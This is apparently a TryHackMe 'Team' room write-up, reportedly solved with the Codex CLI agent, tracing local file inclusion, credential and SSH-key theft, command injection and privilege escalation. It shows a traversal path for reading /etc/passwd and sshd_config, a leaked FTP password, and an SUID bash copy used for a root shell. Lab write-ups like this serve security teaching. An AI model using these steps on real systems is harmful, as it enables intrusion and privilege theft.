> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/team-tryhackme.md). # Team(TrYHackMe) ## Team โ€” TryHackMe Writeup (Solved via Codex CLI) *** ### ๐Ÿ“Œ Overview * **Room:** Team * **Platform:** TryHackMe * **Type:** Boot2Root * **Difficulty:** Beginner * **Target IP:** 10.x.x.x.x * Important Note > This machine was solved **entirely using Codex CLI**.\ > All steps โ€” from enumeration to privilege escalation โ€” were performed via automation. *** ### ๐ŸŽฏ Objective Gain: * User flag * Root flag *** ### ๐Ÿงญ Attack Summary ``` Enumeration โ†’ LFI โ†’ Credential Discovery โ†’ FTP Access โ†’ SSH Access โ†’ Privilege Escalation โ†’ Root ``` *** ### ๐Ÿ” Enumeration #### Services Identified * FTP (21) * SSH (22) * HTTP (80) #### Virtual Hosts * `team.thm` * `dev.team.thm` *** ### ๐Ÿงพ Initial Access โ€” LFI #### Vulnerable Endpoint ```bash script.php?page= ``` #### Exploit ```bash ../../../../etc/passwd ``` #### Result Discovered users: * dale * gyles * ftpuser *** ### ๐Ÿ”Ž Configuration Disclosure Used LFI to read Apache configs: ```bash /etc/apache2/sites-enabled/team.thm.conf /etc/apache2/sites-enabled/dev.team.thm.conf ``` #### Findings * Document root paths revealed * Internal structure mapped *** ### ๐Ÿ”‘ Credential Discovery Directory enumeration revealed: ```bash /scripts/script.old ``` #### Extracted Credentials ``` ftpuser : T3@m$h@r3 ``` *** ### ๐Ÿ“‚ FTP Access Logged in via FTP and found: ``` New_site.txt ``` #### Key Information * Mention of `id_rsa` * Hint that SSH key stored in config *** ### ๐Ÿ” SSH Key Extraction Used LFI: ```bash /etc/ssh/sshd_config ``` Recovered: * Dale's private key *** ### ๐Ÿ–ฅ๏ธ SSH Access ```bash ssh -i id_rsa dale@target ``` #### User Flag ``` THM{.........} ``` *** ### โšก Privilege Escalation #### Sudo Permissions ```bash sudo -l ``` ``` (gyles) NOPASSWD: /home/gyles/admin_checks ``` *** ### ๐Ÿ’ฃ Command Injection #### Vulnerable Code ```bash $error ``` #### Exploit Injected command via input โ†’ executed as `gyles` *** ### ๐Ÿงจ Root Escalation #### Writable Script ```bash /usr/local/bin/main_backup.sh ``` * Owned by root * Writable by `admin` group *** #### Exploit Replaced script with payload: ```bash cp /bin/bash /tmp/rootbash chmod +s /tmp/rootbash ``` *** #### Root Shell ```bash /tmp/rootbash -p ``` *** #### Root Flag ``` THM{........} ``` *** ### ๐Ÿง  Key Findings * LFI allowed sensitive file disclosure * Credentials stored insecurely * SSH private key exposed * Command injection in privileged script * Misconfigured permissions enabled root access *** ### ๐Ÿ Conclusion This machine demonstrates how **multiple misconfigurations** can lead to full system compromise. > ๐Ÿ”ง Entire exploitation was performed using **Codex CLI**, demonstrating how automation can efficiently handle full attack paths. *** ### ๐Ÿ“Œ Learning Notes * Automation can accelerate exploitation * Understanding the logic behind each step remains critical * Real-world systems often fail due to simple misconfigurations *** --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/team-tryhackme.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.